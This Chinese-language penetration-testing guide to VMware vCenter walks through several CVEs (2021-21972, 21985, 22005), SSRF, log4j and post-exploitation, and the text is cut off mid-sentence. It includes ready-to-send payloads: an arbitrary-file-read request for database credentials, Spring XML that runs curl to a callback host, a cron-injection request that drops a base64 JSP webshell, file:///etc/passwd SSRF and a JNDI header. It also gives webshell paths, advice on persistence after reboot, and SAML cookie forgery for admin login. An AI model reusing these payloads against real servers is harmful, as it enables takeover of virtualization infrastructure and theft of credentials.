1 vSphere 背景介绍
vSphere,ESXi 和 vCenter 辨析:
**VMware Inc ** 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。它的云解决方案包括云产品,数据中心产品和桌面产品等。
vSphere
是在数据中心产品下的一套软件。vSphere 类似微软的 Office 办公套件,Office 办公套件包含了许多软件如 Word,Excel,Access 等。和 Office 一样,vSphere 也是一个软件的集合。它包括了 vCenter Server, ESXi 和 vSphere client,是整套虚拟化部署方案的总和。
ESXi
是 vSphere 中最重要的一个组件。ESXi 是虚拟化服务。所有的虚拟机都是运行在 ESXi 服务上面。
vSphere (web) client
是一个管理平台,它能够直接管理多个不同的 ESXi 主机,包含许多进阶功能:集群故障转移等。而 ESXi 自带的管理平台只能管理自身所处的 ESXi 主机。而 vSphere client 有更加详细的性能监控,批量更新接管所有 ESXi 系统版本。通过资源池也可以规划虚拟机资源占用。
在 ESXi 6.0 之前是通过 C/S 架构来管理 ESXi 集群的,没有 web 端,且安装环境较为苛刻,必须为 Server 版本的服务器才可以安装。在 6.0 版本之后,官方已经取消了 C/S 架构的客户端,转而采用了 web 管理平台,又被称之为 vSphere web client。而部署了 vSphere web client 的服务器被称之为
vCenter Server
。
官方推荐将打包好的 Client 与 Server 应用部署在 VMware 自家的 Photon 系统下,其安装包命名为:VMware vCenter Server Appliance,简称为:
VCSA
。
2 常见漏洞
2.1 版本信息探测
通过调用 VMWare Sphere 组件的 SOAP API,可以获取其版本信息,XML 数据如下:
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
00000001-00000001
xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance
Nuclei 相关模板:
/nuclei-templates/technologies/vmware/vmware-detect.yaml
2.2 任意文件读取
影响版本:
Vmware vCenter Server <= 6.5.0
Fofa Dork:
title="ID_VC_Welcome"
VMware vCenter 存在任意文件读取漏洞,可读取 vCenter 配置文件获得管理帐号密码进而控制 vCenter 平台及其管理的虚拟机集群。
由于 EAM 用户运行该存在漏洞的服务(非域用户),因此不存在 NTLM Relay 等中继攻击风险。
由于不同的系统版本,数据库配置文件(
vcdb.properties
)存放位置不同,根据官方文档,大体可以分为:
对于 vCenter Server 5.5 及更低版本:
Windows 2008 -
C:\ProgramData\VMware\VMware VirtualCenter
C:\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\
对于 vCenter Server 6.0、6.5、6.7:
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx
POC:
1 2
|
GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1 Host: {{Hostname}}
|
nuclei 中对应的 poc:
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi.yaml
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-lfi-linux.yaml
2.3 CVE-2021-21972
2.3.1 漏洞利用
默认启用的 vROps 插件(com.vmware.vropspluginui.mvc)ServicesController 类的 uploadova 接口存在未授权访问,可利用路径穿越将文件解压至特定目录实现 getshell。
影响版本:
7.0 <= vCenter Server < 7.0 U1c
6.7 <= vCenter Server < 6.7 U3l
6.5 1e <= vCenter Server < 6.5 U3n
4.x <= Cloud Foundation (vCenter Server) < 4.2
3.x <= Cloud Foundation (vCenter Server) < 3.10.1.2
POC:
/nuclei-templates/cves/2021/CVE-2021-21972.yaml
EXP:
https://www.exploit-db.com/exploits/49602
2.3.2 漏洞分析
定位到存在漏洞的 Jar 包:
/etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsplugin-service.jar
注意到第 463 行,直接将 TAR 的文件名与
/tmp/unicorn_ova_dir
拼接并写入文件。如果文件名内存在
../
,可将文件解压至
vsphere-ui
用户有权限的目录。切入该用户并查找可写目录:
su vsphere-ui
find / -writable -type d |& grep -v "Permission denied"
其中
.ssh
目录可写,因此,最为常见的思路就是写入公钥,并利用该用户登录。但是该方式存在一定的局限,首先看一下 shadow 文件:
看到密码过期时间为 90 天,因此在安装 90 天后即使写入了公钥登录也会提示密码过期,需要提供原密码并修改密码。此外,
vsphere-ui
用户的第二项为
!
,这表示该用户未设置密码(与空密码不同),所以也就没法修改密码,因此,当密钥过期后,就无法再次登录。
另一种思路就是写入 Webshell。首先需要遍历找出存在有 jsp 的 web.xml 并且目录可写:
grep "jsp" $(find / -name "*web.xml")
最终确定了如下几个 linux 下的存放位置:
# vCenter 6.5/6.7 < 13010631
/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/
# vCenter 6.7 >= 13010631
/usr/lib/vmware-vsphere-ui/server/static/resources/libs/
# vCenter 7.0,其中 resources15863815 动态生成,可以通过访问 /ui 可以获取该目录信息
/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/
由
/usr/lib/vmware-vsphere-ui/server/configuration/tomcat-server.xml
查到监听端口为 5090,再由 rhttpproxy 反向代理找到 web 访问路径:
最后将 webshell 释放至
/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/xx/0/h5ngc.war/resources/
目录或其子目录,即可解析并由
https://IP/ui/resources/webshell.jsp
访问
该路径中的 xx 并非是固定数值,会随着重装重启等行为发生改变,所以构造上传包时可以暴力批量添加,并探测是否上传成功。
此外,6.7U2 及之后的版本,会在服务启动时判断如果存在 work 目录就删除,也就是说 Web 是跑在内存里面的。这时对于 6.7U2 及更新的 6.7 版本可以将 webshell 释放至
/usr/lib/vmware-vsphere-ui/server/static/resources/libs/
目录作为后门,待其重启后会被加载运行。对于 7.0 版本 static 后面的 resources 会跟一串动态数字路径,能够在请求的返回包中获取到。
针对 Windows 版本,可以在目标服务器上写入 JSP webshell 文件,由于服务是 System 权限,所以可以任意文件写。常用的目录为:
C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\
,访问
https://IP/statsreport/xxx.jsp
即可。
其它常见路径可以参考:vCenter2021几个漏洞及后渗透
2.4 CVE-2021-21985
2.4.1 漏洞利用
默认启用的 Virtual SAN Health Check 插件(vsan-h5-client.zip)
/rest/*
接口存在未授权访问,可利用不安全的反射调用实现 RCE。
影响版本:
7.0 <= vCenter Server < 7.0 U2b
6.7 <= vCenter Server < 6.7 U3n
6.5 <= vCenter Server < 6.5 U3p
4.x <= Cloud Foundation (vCenter Server) < 4.2.1
3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1
POC:
/nuclei-templates/cves/2021/CVE-2021-21985.yaml
EXP:
https://github.com/r0ckysec/CVE-2021-21985
2.4.2 漏洞分析
出网利用
首先定位到
vsan-h5-client
插件存放位置:
find / -name '*vsan*' | grep 'h5'
,最终确定在
/usr/lib/vmware-vpx/vsan-health/ui-plugins/vsan-h5-client.zip
目录下。
下载,解压并反编译其中的 jar 包,由于漏洞情报中描述为未授权访问,首先在
h5-vsan-context.jar
的
web.xml
中寻找相关线索,在已经修复的版本中,已经添加了相应的 filter:
在
h5-vsan-service.jar
中找到
com.vmware.vsan.client.services.AuthenticationFilter
,如果未认证,则直接返回 401。
另一处变动在
h5-vsan-service.jar
中
ProxygenController
类的
invokeService
方法:
添加了校验,检测反射调用的方法是否为带有
TsService
注解,启用了白名单机制。因此基本可以确定漏洞点位于该类中。
TsService
注解源码:
向上寻找到定义
@RequestMapping
路由的
Controller
,可以看到在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取
methodInput
列表作为方法参数,接着进入
invokeService
方法:
invokeServer
先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。
所以接下来就是在 Spring 工厂创建的 bean 里查找危险方法构建利用链了,在
vsan-h5-client/plugins/h5-vsan-service/META-INF/spring/base/*.xml
配置文件中找到 bean 的定义,所有 scope 都是缺省的
singleton
而且没有配置
lazy-init
,也就是说这些 bean 都会在 spring 项目启动时单例加载。
漏洞作者所使用的 Bean 是
vmodlContext
,对应 jar 为
/etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsplugin-service.jar
,类是
com.vmware.vim.vmomi.core.types.impl.VmodContextImpl
,其中的
loadVmodlPackage
方法代码如下:
其中会通过
NonValidatingClassPathXmlApplicationContext
加载
contextPath
,而该类继承自:
ClassPathXmlApplicationContext
:
因此可以构造远程加载解析 xml 中的 SpEL 表达式进而执行命令。
需要注意的是,在
SpringContextLoader
的
getContextFileNameForPackage
会将路径中的
.
替换为
/
,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:
XML 文件内容及攻击效果如下:
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
/bin/bash
-c
curl http://dj0esgxds3fv9m4a0a6dzorr0i69uy.oastify.com
不出网利用
若要利用此漏洞,本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于
/usr/lib/vmware-vpx/vsan-health/pyMoVsan/
下的 vSAN Health 组件中
VsanHttpProvider.py
存在一个未授权访问 SSRF。
漏洞点是 238 行
urlopen
库函数进行 HTTP 请求,接着将返回内容在内存中进行解压,并且匹配文件名为
.*offline_bundle.*
的内容并进行返回。Python 的
urlopen
支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:
在利用的过程中,将 IP 地址替换为 localhost 即可防止
.
被替换。由于这个路由在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。
现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为
systemProperties
的 Bean。同时这个 Bean 也存在方法可以获取属性内容:
所以在执行 SpEL 时,可以将命令暂存到
systemProperties
中,然后利用
getProperty
方法获取回显。最终的 context.xml 内容为:
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
/bin/bash
-c
&1 ]]>
#{pb.start().getInputStream()}
#{is}
最终漏洞利用的结果:
2.5 CVE-2021-22005
2.5.1 漏洞利用
Analytics 服务相关端点存在目录穿越写文件,可以直接上传 Webshell 文件,并获取 root 权限。
影响版本:
7.0 <= vCenter Server < 7.0 U2c
6.7 <= vCenter Server < 6.7 U3o
POC:
/nuclei-templates/cves/2021/CVE-2021-22005.yaml
EXP:
https://github.com/r0ckysec/CVE-2021-22005
https://github.com/shmilylty/cve-2021-22005-exp
2.5.2 漏洞分析
两种触发方式,一种是开启 CEIP (Customer Experience Improvement Program) 时,通过 log4j 记录日志的功能实现任意文件写入,另一种是通过 Velocity 模板注入执行代码。这个漏洞拿到的权限是
root
权限。
AsyncTelemetryController 漏洞
根据官方的漏洞通告可以发现,存在漏洞的 API 路径为:
/analytics/telemetry/ph/api/hyper/send
。而对应路径的 rhttpproxy 策略在 vCenter 各版本中也不尽相同,有些版本只有
/analytics/telemetry/
可以直接访问,有些版本则
/analytics/
下均可访问:
根据 poc 提示接口
/analytics/telemetry/ph/api/hyper/send
,找到对应的类:
analytics-push-telemetry-server-6.7.0.jar#com.vmware.ph.phservice.push.telemetry.server.AsyncTelemetryController.class
对
/ph/api/hyper/send
路径的
_v
、
_c
、
_i
请求参数分别绑定给变量
version
、
collectorId
、
collectorInstanceId
。跟进
handleSendRequest
函数,最终将调用
telemetryService.processTelemetry()
方法:
继续进入
TelemetryService.processTelemetry()
,上面刚刚创建的
TelemetryRequest
将被提交到一个队列并在不久之后在
TelemetryRequestProcessorRunnable
处执行:
TelemetryLevelBasedTelemetryServiceWrapper
类
processTelemetry
方法会调用
DefaultTelemetryLevelService
类
getTelemetryLevel
方法获取
telemetryLevel
:
继续跟进看到需要
isCeipEnabled
不为默认值
false
才会继续:
随后调用
LogTelemetryService
类
processTelemetry
方法,利用 log4j 写日志文件至
/var/log/vmware/analytics/prod/
目录,文件内容为 POST 请求体数据:
日志文件存储在
/var/log/vmware/analytics/prod/_c
_i
.json
并且因为 filename 中同时包含 collectorId 和 collectorInstanceId,所以可以在路径遍历中添加
../
字符,在另一个文件夹中随意创建一个文件的情况。但是,在 Linux 系统中,如下面的路径中含有不存在的文件夹,在创建文件时会报错:
1
|
/var/log/vmware/analytics/prod/_c_i/../../../../../../tmp/POC
|
如何远程创建该临时文件内,经过可以在
_i
参数前加一个斜杠,目录会被创建。之后就可以通过目录拼接的形式进行文件写入。
目前已经可以控制任意文件写入,但是没有办法控制文件后缀
.json
,对于 linux 的机器可以写入计划任务来执行写 shell 的操作:
POST /analytics/telemetry/ph-stg/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/POC HTTP/1.1
Host: IP
Content-Type: application/json
Content-Length: 144
* * * * * root echo PCUgICAgICAgIG91dC5wcmludGxuKCJIZWxsb1dvcmxkIik7ICAgICAgJT4=|base64 -d >/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/hello.jsp
待定时任务启动后,可在
https://localhost/idm/..;/hello.jsp
可以访问到 shell。
(这里的
/..;/
是因为Tomcat会将
/..;/
视作
/../
,可以利用该特性绕过 vCenter 某些版本的
rhttpproxy
的访问限制)。
DataAppAgentController 漏洞
官方提供的 POC 中还涉及到一个接口:
/analytics/telemetry/ph/api/dataapp/agent
,而在新版本的代码中,已经将端点:
/dataapp/agent
相关代码全部删除,因此确定漏洞的位置。
最终通过
VelocityHelper.executeVelocityExpression
触发
velocity
表达式执行。
最终
@testbnull
发现可以通过上下文可用的
$GLOBAL-logger
,利用
setFile
方法临时修改日志路径到 Web 路径的方式,写入 WebShell 实现 RCE。
2.6 provider-logo SSRF 漏洞
2.6.1 漏洞利用
VMware vCenter v 7.0.x 的某些版本中存在未授权 SSRF 漏洞,可以读取本地文件造成敏感信息泄露;读取远程文件形成 XSS 漏洞。
POC & EXP:
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-ssrf.yaml
GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd HTTP/1.1
Host: {{target}}
读取
/etc/passwd
:
读取 postgresql 配置文件:
2.6.2 漏洞分析
漏洞 url 为
/ui/vcav-bootstrap/rest/vcav-providers/provider-logo
,通过 500 错误获取代码调用栈,最后在
ProvidersController.getProviderLogo
执行时出错。定位到相关 jar 包:
/etc/vmware/vsphere-ui/cm-service-packages/com.vmware.cis.vsphereclient.plugin/com.vmware.h4.vsphere.client-0.4.1.0/plugins/h5-vcav-bootstrap-service.jar
com.vmware.h4.vsphere.ui.bootstrap.controller.ProvidersController.getProviderLogo()
函数代码比较简单,通过
URLConnection
读取 URL 并解析。
2.7 log4j2 JNDI 注入
VMware 的产品同样也受 log4j2 漏洞的影响,具体可以参考:VMSA-2021-0028。
POC:
/nuclei-templates/vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}
具体漏洞成因在此就不再赘述。
3 后渗透测试
3.1 SAML 证书登录
vSphere 5.0 版本引入了 SSO,支持使用 SAML 作为授权服务支持。当用户登录服务时,该服务会将身份验证请求转发给 SAML 。SAML 验证用户凭据是否正确以及他们是否有权访问指定的服务。
在 vCenter 中从
/storage/db/vmware-vmdir/data.mdb
提取 IdP 证书,为管理员用户创建 SAML 请求,最后使用 vCenter server 进行身份验证并获得有效的管理员 cookie。
首先需要从 vCenter 获得数据库文件:
Linux:
/storage/db/vmware-vmdir/data.mdb
Windows:
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
利用 SAML 解密脚本生成 Cookie:
1
|
python3 vcenter_saml_login.py -p data.mdb -t 192.168.0.92
|
登录 VCSA 管理面板,访问
https://IP/ui
,并设置 Cookie 为上面的返回结果。
3.2 CVE-2022-22948 权限配置不当
vCenter Server 包含由于文件权限不正确而导致的信息泄露漏洞,可以利用此漏洞在对 vCenter Server 具有非管理员访问权限的情况下获取敏感信息。
通过第二节描述的漏洞获取的 webshell 权限通常为:
vphere-ui
,归属于用户组:
cis
。在 vCenter 系统的研究中,存在一个包含客户端
postgresDB
的明文登录凭证的文件:
/etc/vmware-vpx/vcdb.properties
。任何属于